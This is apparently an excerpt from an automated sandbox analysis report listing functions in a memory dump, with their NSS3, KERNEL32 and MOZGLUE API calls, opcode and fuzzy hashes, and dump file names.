API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 0fbfc1b9af317247a47496c929bd77daa0ea1d4a97f0354bbf3bd1865a8283e6
Instruction ID: af35a6f46fa75257e30d77deac0e0995b57734b1db0f1c2bba57ee515936d55e
Opcode Fuzzy Hash: 0fbfc1b9af317247a47496c929bd77daa0ea1d4a97f0354bbf3bd1865a8283e6
Instruction Fuzzy Hash: 042190B1D002588BEF10DF65D9055EEB7B4EF06219F154078D819BB710FB31AA59CBE2

Function 6CBB24E0 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBB24FF
EnterCriticalSection.KERNEL32(?), ref: 6CBB250F
PR_Unlock.NSS3(?), ref: 6CBB253C
PR_SetError.NSS3(00000000,00000000), ref: 6CBB2554

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: ba3747e39504919e1fc93caafd5ac377bd07e61056cb2e29ea2c209b70fed7ae
Instruction ID: 4fa5f2417d54431df9e557da0ac09e2581b4428c22e5e560fa374a9918fab45d
Opcode Fuzzy Hash: ba3747e39504919e1fc93caafd5ac377bd07e61056cb2e29ea2c209b70fed7ae
Instruction Fuzzy Hash: 3311E675E00118AFDB00AF68EC459BB7B78EF06228B554124EC09A7701EB31ED55C7E2

Function 6CBCECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CBCF0AD,6CBCF150,?,6CBCF150,?,?,?), ref: 6CBCECBA

Part of subcall function 6CBD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB787ED,00000800,6CB6EF74,00000000), ref: 6CBD1000
Part of subcall function 6CBD0FF0: PR_NewLock.NSS3(?,00000800,6CB6EF74,00000000), ref: 6CBD1016
Part of subcall function 6CBD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB787ED,00000008,?,00000800,6CB6EF74,00000000), ref: 6CBD102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CBCECD1

Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD10F3
Part of subcall function 6CBD10C0: EnterCriticalSection.KERNEL32(?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD110C
Part of subcall function 6CBD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1141
Part of subcall function 6CBD10C0: PR_Unlock.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1182
Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CBCED02

Part of subcall function 6CBD10C0: PL_ArenaAllocate.NSS3(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CBCED5A

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 479eacc11614464759a582efa6768423631bc56f65b7a144b7f93d28d055e5c5
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 3921D4B1A017D29BE700CF25D945B5AB7E4FFA4308F25C216E81C87661EB70E594C6D2

Function 6CB9C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6CB9C890

Part of subcall function 6CB98F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB98FAF
Part of subcall function 6CB98F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB98FD1
Part of subcall function 6CB98F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB98FFA
Part of subcall function 6CB98F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CB99013
Part of subcall function 6CB98F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CB99042
Part of subcall function 6CB98F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB9905A
Part of subcall function 6CB98F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CB99073
Part of subcall function 6CB98F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CB99111

PR_GetCurrentThread.NSS3 ref: 6CB9C8B2

Part of subcall function 6CC39BF0: TlsGetValue.KERNEL32(?,?,?,6CC80A75), ref: 6CC39C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CB9C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB9C8EB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: aab36fdfa8e53891d76bdda68a661b5343b1e3e6e240ad61a0d4ea5aa88d1c3e
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 3801E566E012506BDB003AB96CC0ABF3A68DB4725EF140135FC08E7B41F762881982F3

Function 6CBC4900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6CBAC79F,?,?,6CBC5C4A,?), ref: 6CBC4950

Part of subcall function 6CBC8800: TlsGetValue.KERNEL32(?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC8821
Part of subcall function 6CBC8800: TlsGetValue.KERNEL32(?,?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC883D
Part of subcall function 6CBC8800: EnterCriticalSection.KERNEL32(?,?,?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC8856
Part of subcall function 6CBC8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CBC8887
Part of subcall function 6CBC8800: PR_Unlock.NSS3(?,?,?,?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC8899

TlsGetValue.KERNEL32(?,?,?), ref: 6CBC496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBC4989

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 97eb55d0d3f08aefcf25352cf16346107290c0ad95c6026b867868d570c42aa6
Instruction ID: 2efe534c61f718bc0ff7ccaa9665842fd35fe0b7d9e7f4d40f44f5204a1647bd
Opcode Fuzzy Hash: 97eb55d0d3f08aefcf25352cf16346107290c0ad95c6026b867868d570c42aa6
Instruction Fuzzy Hash: 881122B5B002509FEB005F28DC85A2A77B8FB0232EB140125ED0997F11E721FA14CB97

Function 6CBFEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CBE7FFA,?,6CBE9767,?,8B7874C0,0000A48E), ref: 6CBFEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CBE7FFA,?,6CBE9767,?,8B7874C0,0000A48E), ref: 6CBFEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CBE7FFA,?,6CBE9767,?,8B7874C0,0000A48E), ref: 6CBFEE14

Part of subcall function 6CBD0BE0: malloc.MOZGLUE(6CBC8D2D,?,00000000,?), ref: 6CBD0BF8
Part of subcall function 6CBD0BE0: TlsGetValue.KERNEL32(6CBC8D2D,?,00000000,?), ref: 6CBD0C15

memcpy.VCRUNTIME140(?,?,6CBE9767,00000000,00000000,6CBE7FFA,?,6CBE9767,?,8B7874C0,0000A48E), ref: 6CBFEE33

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: e05db887ba47e83e913c9ee14cd660b1cfe1fae2a424a24e10995b9f0686f8a0
Instruction ID: 2a89b5a6776cbb7087db5d99e6959763b1b355dfca9632446929594191d95615
Opcode Fuzzy Hash: e05db887ba47e83e913c9ee14cd660b1cfe1fae2a424a24e10995b9f0686f8a0
Instruction Fuzzy Hash: 4A11CA75A04796ABDB509E65EC84B1A7368EF0435CF104535E92983F00E330F469C7E2

Function 6CBE08D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CBE09B3,0000001A,?), ref: 6CBE08E9

Part of subcall function 6CBD0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBD08B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CBE08FD

Part of subcall function 6CBCFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBC8D2D,?,00000000,?), ref: 6CBCFB85
Part of subcall function 6CBCFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBCFBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6CBE0939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBE0953

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 41070777062f56e550e8466d4310c85ae2586f6db8c129f9017aafcae5a9bb00
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: C90108B97012C62BFB045E39BC10B6B3798DF48798F004039EC1AC5E01FF21E4149A92

Function 6CBC49C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6CBC8800: TlsGetValue.KERNEL32(?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC8821
Part of subcall function 6CBC8800: TlsGetValue.KERNEL32(?,?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC883D
Part of subcall function 6CBC8800: EnterCriticalSection.KERNEL32(?,?,?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC8856
Part of subcall function 6CBC8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CBC8887
Part of subcall function 6CBC8800: PR_Unlock.NSS3(?,?,?,?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC8899

PR_SetError.NSS3 ref: 6CBC4A10
TlsGetValue.KERNEL32(6CBB781D,?,6CBABD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBC4A24
EnterCriticalSection.KERNEL32(?,?,?,6CBABD28,00CD52E8), ref: 6CBC4A39
PR_Unlock.NSS3(?,?,?,?,6CBABD28,00CD52E8), ref: 6CBC4A4E

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 449570c49621f294c14e40440bde0db7680c93c305433138a139905250274171
Instruction ID: 3149ec5ad3f0fcfa3fa03139031ed2e256bb3321a54dedd1c19af6e24e01ba9b
Opcode Fuzzy Hash: 449570c49621f294c14e40440bde0db7680c93c305433138a139905250274171
Instruction Fuzzy Hash: 692129B5B046508FDB00AF79C18856ABBF4FF45759B014929EC859BB01E730E944CF96

Function 6CB6EAD0 Relevance: 6.1, APIs: 4, Instructions: 54networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6CB6EB13
htonl.WSOCK32(00000000,?), ref: 6CB6EB26
htons.WSOCK32(?), ref: 6CB6EB44
PR_GetCurrentThread.NSS3(?), ref: 6CB6EB58

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: htons$CurrentThreadhtonl
String ID:
API String ID: 2156189399-0
Opcode ID: 57733ec5b1b2a94ee53fb7ce9fd42a3212dd0e8516619003e2d73333d7f975b0
Instruction ID: 035b7765c03be208c4a064d98d7019d15944e0a28da534fd47e41e1f28ea0122
Opcode Fuzzy Hash: 57733ec5b1b2a94ee53fb7ce9fd42a3212dd0e8516619003e2d73333d7f975b0
Instruction Fuzzy Hash: 5611B261D24BE197D3208F76CC406BA73B0BF96308B05AB0EE8CA47E61E770A0C0C395

Function 6CB98DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB98DE7
EnterCriticalSection.KERNEL32 ref: 6CB98DFC
PR_Unlock.NSS3 ref: 6CB98E2D
PR_SetError.NSS3 ref: 6CB98E49

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 25fec59e6ffb3c2cd065161784222b4c5414f840cfb831b4bd1c2840362fc155
Instruction ID: eb627a787ff49e0e920094df9b1b940c8a2093d60e6671f9da1ad7760d070ce4
Opcode Fuzzy Hash: 25fec59e6ffb3c2cd065161784222b4c5414f840cfb831b4bd1c2840362fc155
Instruction Fuzzy Hash: 00114C75A09A509FDB00AF78D4885AABBF4FF06714F014969EC88D7B00E730E894CBD2

Function 6CC1AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CC05F17,?,?,?,?,?,?,?,?,6CC0AAD4), ref: 6CC1AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CC05F17,?,?,?,?,?,?,?,?,6CC0AAD4), ref: 6CC1ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CC0AAD4), ref: 6CC1ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CC0AAD4), ref: 6CC1ACDB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 66c0d0e2f5d69d2fe8e8719b290448d01f96871bb6d9de00148547e683ec3eba
Instruction ID: c86d9ce6de2b73850f30695c9c5b24382132475283d5eec1ccdd8a29c4f496d4
Opcode Fuzzy Hash: 66c0d0e2f5d69d2fe8e8719b290448d01f96871bb6d9de00148547e683ec3eba
Instruction Fuzzy Hash: BA015EB1A01B119BEB50DF2AD908757B7F8BF40699B104839D85AD3E00F732F159CB91

Function 6CBDC590 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CBDC5AD

Part of subcall function 6CBD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB787ED,00000800,6CB6EF74,00000000), ref: 6CBD1000
Part of subcall function 6CBD0FF0: PR_NewLock.NSS3(?,00000800,6CB6EF74,00000000), ref: 6CBD1016
Part of subcall function 6CBD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB787ED,00000008,?,00000800,6CB6EF74,00000000), ref: 6CBD102B

CERT_DecodeCertPackage.NSS3(?,?,6CBDC610,?), ref: 6CBDC5C2

Part of subcall function 6CBDC0B0: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBDC0E6

CERT_NewTempCertificate.NSS3(?,00000000,00000000,00000001), ref: 6CBDC5E0
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBDC5EF

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Arena_Util$ArenaCertCertificateDecodeErrorFreeInitLockPackagePoolTempcalloc
String ID:
API String ID: 1454898856-0
Opcode ID: a11f169ce708ace5023afacccd8a9638cc0c864895b1f08ee118e6711119167e
Instruction ID: c04dadd72976742e479594b6cecc369a76d164c1d2ae90f16625ac499db2d736
Opcode Fuzzy Hash: a11f169ce708ace5023afacccd8a9638cc0c864895b1f08ee118e6711119167e
Instruction Fuzzy Hash: 8F01A2B1E001446BEF00AB64EC16EBF7B78DB01618F464069EC169B341F672BD19C6E2

Function 6CBC88E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6CBD08AA,?), ref: 6CBC88F6
EnterCriticalSection.KERNEL32(?,?,?,?,6CBD08AA,?), ref: 6CBC890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CBD08AA,?), ref: 6CBC8936
PR_Unlock.NSS3(?,?,?,?,?,6CBD08AA,?), ref: 6CBC8940

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 7ed9c5f073e024c0717192995c7b2d688e8f25e21b4ba01e634aca640506ea54
Instruction ID: ed735192c1195df827be97e58df8c41ff75ea5543b123c9e12210e6ce1e0eb5d
Opcode Fuzzy Hash: 7ed9c5f073e024c0717192995c7b2d688e8f25e21b4ba01e634aca640506ea54
Instruction Fuzzy Hash: BC018074B046859FDB00AF3AC484659BBF4FF46398F010A2AD88887B00E771E594CBD3

Function 6CBD24E0 Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CBAC154,000000FF,00000000,00000000,00000000,00000000,?,?,6CBAC154,?), ref: 6CBD24FA
PORT_Alloc_Util.NSS3(00000000,?,6CBAC154,?), ref: 6CBD2509

Part of subcall function 6CBD0BE0: malloc.MOZGLUE(6CBC8D2D,?,00000000,?), ref: 6CBD0BF8
Part of subcall function 6CBD0BE0: TlsGetValue.KERNEL32(6CBC8D2D,?,00000000,?), ref: 6CBD0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?), ref: 6CBD2525
free.MOZGLUE(00000000), ref: 6CBD2532

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
